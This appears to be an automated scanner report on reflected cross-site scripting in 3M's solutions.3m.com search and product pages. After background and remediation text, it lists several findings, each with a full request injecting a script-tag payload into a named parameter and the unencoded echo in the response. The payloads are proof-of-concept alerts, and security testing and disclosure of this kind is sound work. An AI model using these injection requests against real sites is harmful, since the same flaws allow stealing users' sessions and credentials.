Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://solutions.3m.com/wps/portal/3M/en_US/Products/ProdServ/ [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://solutions.3m.com
Path:
/wps/portal/3M/en_US/Products/ProdServ/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bdaf6"><script>alert(1)</script>2b549382efa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wps/portal/3M/en_US/Products/ProdServ/?bdaf6"><script>alert(1)</script>2b549382efa=1 HTTP/1.1 Host: solutions.3m.com Proxy-Connection: keep-alive Referer: http://solutions.3m.com/wps/portal/3M/en_US/Products/ProdServ/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: localePreference=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2FCountry%2F%3FWT.mc_id%3Dggp_redirect_en_US; ForeseeSurveyShown_jzaz6aHrDO=true; ForeseeLoyalty_MID_jzaz6aHrDO=6; WT_FPC=id=174.122.23.218-1935455696.30115224:lv=1289916826803:ss=1289916790837
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name ...[SNIP]... <a href="http://solutions.3m.com/wps/portal/3M/es_US/Products/ProdServ/?bdaf6"><script>alert(1)</script>2b549382efa=1"> ...[SNIP]...
The value of the LC request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 698bf"><script>alert(1)</script>8fab3450582 was submitted in the LC parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wps/portal/3M/en_US/Search/3M/?pl=7BC6E48B18005D658058DA7E7EA9508A&LC=en_US698bf"><script>alert(1)</script>8fab3450582&type=cc&gsaAction=scBR&pa=7BC6E48B18005D658058DA7E7EA9507A&co=cc&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F&q=%60%7C%7C&btnG.x=0&btnG.y=0&btnG=Search HTTP/1.1 Host: solutions.3m.com Proxy-Connection: keep-alive Referer: http://solutions.3m.com/en_US/?WT.mc_id=www.3m.com/us Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: localePreference=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2FCountry%2F%3FWT.mc_id%3Dggp_redirect_en_US; ForeseeSurveyShown_jzaz6aHrDO=true; ForeseeLoyalty_MID_jzaz6aHrDO=6; WT_FPC=id=174.122.23.218-1935455696.30115224:lv=1289916872468:ss=1289916790837
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name ...[SNIP]... <a href="http://solutions.3m.com/wps/portal/3M/es_US/Search/3M/?pl=7BC6E48B18005D658058DA7E7EA9508A&LC=en_US698bf"><script>alert(1)</script>8fab3450582&type=cc&gsaAction=scBR&pa=7BC6E48B18005D658058DA7E7EA9507A&co=cc&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F&q=%60%7C%7C&btnG.x=0&btnG.y=0&btnG=Search"> ...[SNIP]...
The value of the btnG request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff24c"><script>alert(1)</script>0075e0b15dc was submitted in the btnG parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wps/portal/3M/en_US/Search/3M/?pl=7BC6E48B18005D658058DA7E7EA9508A&LC=en_US&type=cc&gsaAction=scBR&pa=7BC6E48B18005D658058DA7E7EA9507A&co=cc&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F&q=%60%7C%7C&btnG.x=0&btnG.y=0&btnG=Searchff24c"><script>alert(1)</script>0075e0b15dc HTTP/1.1 Host: solutions.3m.com Proxy-Connection: keep-alive Referer: http://solutions.3m.com/en_US/?WT.mc_id=www.3m.com/us Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: localePreference=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2FCountry%2F%3FWT.mc_id%3Dggp_redirect_en_US; ForeseeSurveyShown_jzaz6aHrDO=true; ForeseeLoyalty_MID_jzaz6aHrDO=6; WT_FPC=id=174.122.23.218-1935455696.30115224:lv=1289916872468:ss=1289916790837
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name ...[SNIP]... 58DA7E7EA9508A&LC=en_US&type=cc&gsaAction=scBR&pa=7BC6E48B18005D658058DA7E7EA9507A&co=cc&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F&q=%60%7C%7C&btnG.x=0&btnG.y=0&btnG=Searchff24c"><script>alert(1)</script>0075e0b15dc"> ...[SNIP]...
The value of the btnG.x request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 64bc9"><script>alert(1)</script>0f7191b210d was submitted in the btnG.x parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wps/portal/3M/en_US/Search/3M/?pl=7BC6E48B18005D658058DA7E7EA9508A&LC=en_US&type=cc&gsaAction=scBR&pa=7BC6E48B18005D658058DA7E7EA9507A&co=cc&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F&q=%60%7C%7C&btnG.x=064bc9"><script>alert(1)</script>0f7191b210d&btnG.y=0&btnG=Search HTTP/1.1 Host: solutions.3m.com Proxy-Connection: keep-alive Referer: http://solutions.3m.com/en_US/?WT.mc_id=www.3m.com/us Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: localePreference=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2FCountry%2F%3FWT.mc_id%3Dggp_redirect_en_US; ForeseeSurveyShown_jzaz6aHrDO=true; ForeseeLoyalty_MID_jzaz6aHrDO=6; WT_FPC=id=174.122.23.218-1935455696.30115224:lv=1289916872468:ss=1289916790837
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name ...[SNIP]... pl=7BC6E48B18005D658058DA7E7EA9508A&LC=en_US&type=cc&gsaAction=scBR&pa=7BC6E48B18005D658058DA7E7EA9507A&co=cc&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F&q=%60%7C%7C&btnG.x=064bc9"><script>alert(1)</script>0f7191b210d&btnG.y=0&btnG=Search"> ...[SNIP]...
The value of the btnG.y request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cdb23"><script>alert(1)</script>eb3c61fbd94 was submitted in the btnG.y parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wps/portal/3M/en_US/Search/3M/?pl=7BC6E48B18005D658058DA7E7EA9508A&LC=en_US&type=cc&gsaAction=scBR&pa=7BC6E48B18005D658058DA7E7EA9507A&co=cc&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F&q=%60%7C%7C&btnG.x=0&btnG.y=0cdb23"><script>alert(1)</script>eb3c61fbd94&btnG=Search HTTP/1.1 Host: solutions.3m.com Proxy-Connection: keep-alive Referer: http://solutions.3m.com/en_US/?WT.mc_id=www.3m.com/us Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: localePreference=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2FCountry%2F%3FWT.mc_id%3Dggp_redirect_en_US; ForeseeSurveyShown_jzaz6aHrDO=true; ForeseeLoyalty_MID_jzaz6aHrDO=6; WT_FPC=id=174.122.23.218-1935455696.30115224:lv=1289916872468:ss=1289916790837
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name ...[SNIP]... 8B18005D658058DA7E7EA9508A&LC=en_US&type=cc&gsaAction=scBR&pa=7BC6E48B18005D658058DA7E7EA9507A&co=cc&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F&q=%60%7C%7C&btnG.x=0&btnG.y=0cdb23"><script>alert(1)</script>eb3c61fbd94&btnG=Search"> ...[SNIP]...
The value of the co request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 12d5d"><script>alert(1)</script>a0d8b72c420 was submitted in the co parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wps/portal/3M/en_US/Search/3M/?pl=7BC6E48B18005D658058DA7E7EA9508A&LC=en_US&type=cc&gsaAction=scBR&pa=7BC6E48B18005D658058DA7E7EA9507A&co=cc12d5d"><script>alert(1)</script>a0d8b72c420&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F&q=%60%7C%7C&btnG.x=0&btnG.y=0&btnG=Search HTTP/1.1 Host: solutions.3m.com Proxy-Connection: keep-alive Referer: http://solutions.3m.com/en_US/?WT.mc_id=www.3m.com/us Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: localePreference=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2FCountry%2F%3FWT.mc_id%3Dggp_redirect_en_US; ForeseeSurveyShown_jzaz6aHrDO=true; ForeseeLoyalty_MID_jzaz6aHrDO=6; WT_FPC=id=174.122.23.218-1935455696.30115224:lv=1289916872468:ss=1289916790837
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name ...[SNIP]... <a href="http://solutions.3m.com/wps/portal/3M/es_US/Search/3M/?pl=7BC6E48B18005D658058DA7E7EA9508A&LC=en_US&type=cc&gsaAction=scBR&pa=7BC6E48B18005D658058DA7E7EA9507A&co=cc12d5d"><script>alert(1)</script>a0d8b72c420&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F&q=%60%7C%7C&btnG.x=0&btnG.y=0&btnG=Search"> ...[SNIP]...
The value of the gsaAction request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72fd0"><script>alert(1)</script>2b9682f74fa was submitted in the gsaAction parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wps/portal/3M/en_US/Search/3M/?pl=7BC6E48B18005D658058DA7E7EA9508A&LC=en_US&type=cc&gsaAction=scBR72fd0"><script>alert(1)</script>2b9682f74fa&pa=7BC6E48B18005D658058DA7E7EA9507A&co=cc&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F&q=%60%7C%7C&btnG.x=0&btnG.y=0&btnG=Search HTTP/1.1 Host: solutions.3m.com Proxy-Connection: keep-alive Referer: http://solutions.3m.com/en_US/?WT.mc_id=www.3m.com/us Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: localePreference=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2FCountry%2F%3FWT.mc_id%3Dggp_redirect_en_US; ForeseeSurveyShown_jzaz6aHrDO=true; ForeseeLoyalty_MID_jzaz6aHrDO=6; WT_FPC=id=174.122.23.218-1935455696.30115224:lv=1289916872468:ss=1289916790837
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name ...[SNIP]... <a href="http://solutions.3m.com/wps/portal/3M/es_US/Search/3M/?pl=7BC6E48B18005D658058DA7E7EA9508A&LC=en_US&type=cc&gsaAction=scBR72fd0"><script>alert(1)</script>2b9682f74fa&pa=7BC6E48B18005D658058DA7E7EA9507A&co=cc&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F&q=%60%7C%7C&btnG.x=0&btnG.y=0&btnG=Search"> ...[SNIP]...
1.8. http://solutions.3m.com/wps/portal/3M/en_US/Search/3M/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://solutions.3m.com
Path:
/wps/portal/3M/en_US/Search/3M/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8ccc3"><script>alert(1)</script>4b6ab0dfedb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wps/portal/3M/en_US/Search/3M/?pl=7BC6E48B18005D658058DA7E7EA9508A&LC=en_US&type=cc&gsaAction=scBR&pa=7BC6E48B18005D658058DA7E7EA9507A&co=cc&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F&q=%60%7C%7C&btnG.x=0&btnG.y=0&btnG=Search&8ccc3"><script>alert(1)</script>4b6ab0dfedb=1 HTTP/1.1 Host: solutions.3m.com Proxy-Connection: keep-alive Referer: http://solutions.3m.com/en_US/?WT.mc_id=www.3m.com/us Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: localePreference=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2FCountry%2F%3FWT.mc_id%3Dggp_redirect_en_US; ForeseeSurveyShown_jzaz6aHrDO=true; ForeseeLoyalty_MID_jzaz6aHrDO=6; WT_FPC=id=174.122.23.218-1935455696.30115224:lv=1289916872468:ss=1289916790837
Response
HTTP/1.1 200 OK Date: Tue, 16 Nov 2010 14:17:23 GMT Server: IBM_HTTP_Server Cache-Control: public Cache-Control: max-age=90000 Expires: Wed, 17 Nov 2010 15:17:23 GMT Vary: User-Agent,Cookie Served-By: Pyrite11 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Content-Length: 34446
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name ...[SNIP]... 8DA7E7EA9508A&LC=en_US&type=cc&gsaAction=scBR&pa=7BC6E48B18005D658058DA7E7EA9507A&co=cc&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F&q=%60%7C%7C&btnG.x=0&btnG.y=0&btnG=Search&8ccc3"><script>alert(1)</script>4b6ab0dfedb=1"> ...[SNIP]...
The value of the pa request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 46b28"><script>alert(1)</script>25c30bb4b5a was submitted in the pa parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wps/portal/3M/en_US/Search/3M/?pl=7BC6E48B18005D658058DA7E7EA9508A&LC=en_US&type=cc&gsaAction=scBR&pa=7BC6E48B18005D658058DA7E7EA9507A46b28"><script>alert(1)</script>25c30bb4b5a&co=cc&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F&q=%60%7C%7C&btnG.x=0&btnG.y=0&btnG=Search HTTP/1.1 Host: solutions.3m.com Proxy-Connection: keep-alive Referer: http://solutions.3m.com/en_US/?WT.mc_id=www.3m.com/us Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: localePreference=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2FCountry%2F%3FWT.mc_id%3Dggp_redirect_en_US; ForeseeSurveyShown_jzaz6aHrDO=true; ForeseeLoyalty_MID_jzaz6aHrDO=6; WT_FPC=id=174.122.23.218-1935455696.30115224:lv=1289916872468:ss=1289916790837
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name ...[SNIP]... <a href="http://solutions.3m.com/wps/portal/3M/es_US/Search/3M/?pl=7BC6E48B18005D658058DA7E7EA9508A&LC=en_US&type=cc&gsaAction=scBR&pa=7BC6E48B18005D658058DA7E7EA9507A46b28"><script>alert(1)</script>25c30bb4b5a&co=cc&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F&q=%60%7C%7C&btnG.x=0&btnG.y=0&btnG=Search"> ...[SNIP]...
The value of the pl request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3ab63"><script>alert(1)</script>4e2d913c70a was submitted in the pl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wps/portal/3M/en_US/Search/3M/?pl=7BC6E48B18005D658058DA7E7EA9508A3ab63"><script>alert(1)</script>4e2d913c70a&LC=en_US&type=cc&gsaAction=scBR&pa=7BC6E48B18005D658058DA7E7EA9507A&co=cc&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F&q=%60%7C%7C&btnG.x=0&btnG.y=0&btnG=Search HTTP/1.1 Host: solutions.3m.com Proxy-Connection: keep-alive Referer: http://solutions.3m.com/en_US/?WT.mc_id=www.3m.com/us Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: localePreference=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2FCountry%2F%3FWT.mc_id%3Dggp_redirect_en_US; ForeseeSurveyShown_jzaz6aHrDO=true; ForeseeLoyalty_MID_jzaz6aHrDO=6; WT_FPC=id=174.122.23.218-1935455696.30115224:lv=1289916872468:ss=1289916790837
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name ...[SNIP]... <a href="http://solutions.3m.com/wps/portal/3M/es_US/Search/3M/?pl=7BC6E48B18005D658058DA7E7EA9508A3ab63"><script>alert(1)</script>4e2d913c70a&LC=en_US&type=cc&gsaAction=scBR&pa=7BC6E48B18005D658058DA7E7EA9507A&co=cc&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F&q=%60%7C%7C&btnG.x=0&btnG.y=0&btnG=Search"> ...[SNIP]...
The value of the q request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 32d5c"><script>alert(1)</script>5a1460a446b was submitted in the q parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wps/portal/3M/en_US/Search/3M/?pl=7BC6E48B18005D658058DA7E7EA9508A&LC=en_US&type=cc&gsaAction=scBR&pa=7BC6E48B18005D658058DA7E7EA9507A&co=cc&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F&q=%60%7C%7C32d5c"><script>alert(1)</script>5a1460a446b&btnG.x=0&btnG.y=0&btnG=Search HTTP/1.1 Host: solutions.3m.com Proxy-Connection: keep-alive Referer: http://solutions.3m.com/en_US/?WT.mc_id=www.3m.com/us Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: localePreference=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2FCountry%2F%3FWT.mc_id%3Dggp_redirect_en_US; ForeseeSurveyShown_jzaz6aHrDO=true; ForeseeLoyalty_MID_jzaz6aHrDO=6; WT_FPC=id=174.122.23.218-1935455696.30115224:lv=1289916872468:ss=1289916790837
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name ...[SNIP]... arch/3M/?pl=7BC6E48B18005D658058DA7E7EA9508A&LC=en_US&type=cc&gsaAction=scBR&pa=7BC6E48B18005D658058DA7E7EA9507A&co=cc&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F&q=%60%7C%7C32d5c"><script>alert(1)</script>5a1460a446b&btnG.x=0&btnG.y=0&btnG=Search"> ...[SNIP]...
The value of the type request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 66a59"><script>alert(1)</script>dee75608e5 was submitted in the type parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wps/portal/3M/en_US/Search/3M/?pl=7BC6E48B18005D658058DA7E7EA9508A&LC=en_US&type=cc66a59"><script>alert(1)</script>dee75608e5&gsaAction=scBR&pa=7BC6E48B18005D658058DA7E7EA9507A&co=cc&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F&q=%60%7C%7C&btnG.x=0&btnG.y=0&btnG=Search HTTP/1.1 Host: solutions.3m.com Proxy-Connection: keep-alive Referer: http://solutions.3m.com/en_US/?WT.mc_id=www.3m.com/us Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: localePreference=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2FCountry%2F%3FWT.mc_id%3Dggp_redirect_en_US; ForeseeSurveyShown_jzaz6aHrDO=true; ForeseeLoyalty_MID_jzaz6aHrDO=6; WT_FPC=id=174.122.23.218-1935455696.30115224:lv=1289916872468:ss=1289916790837
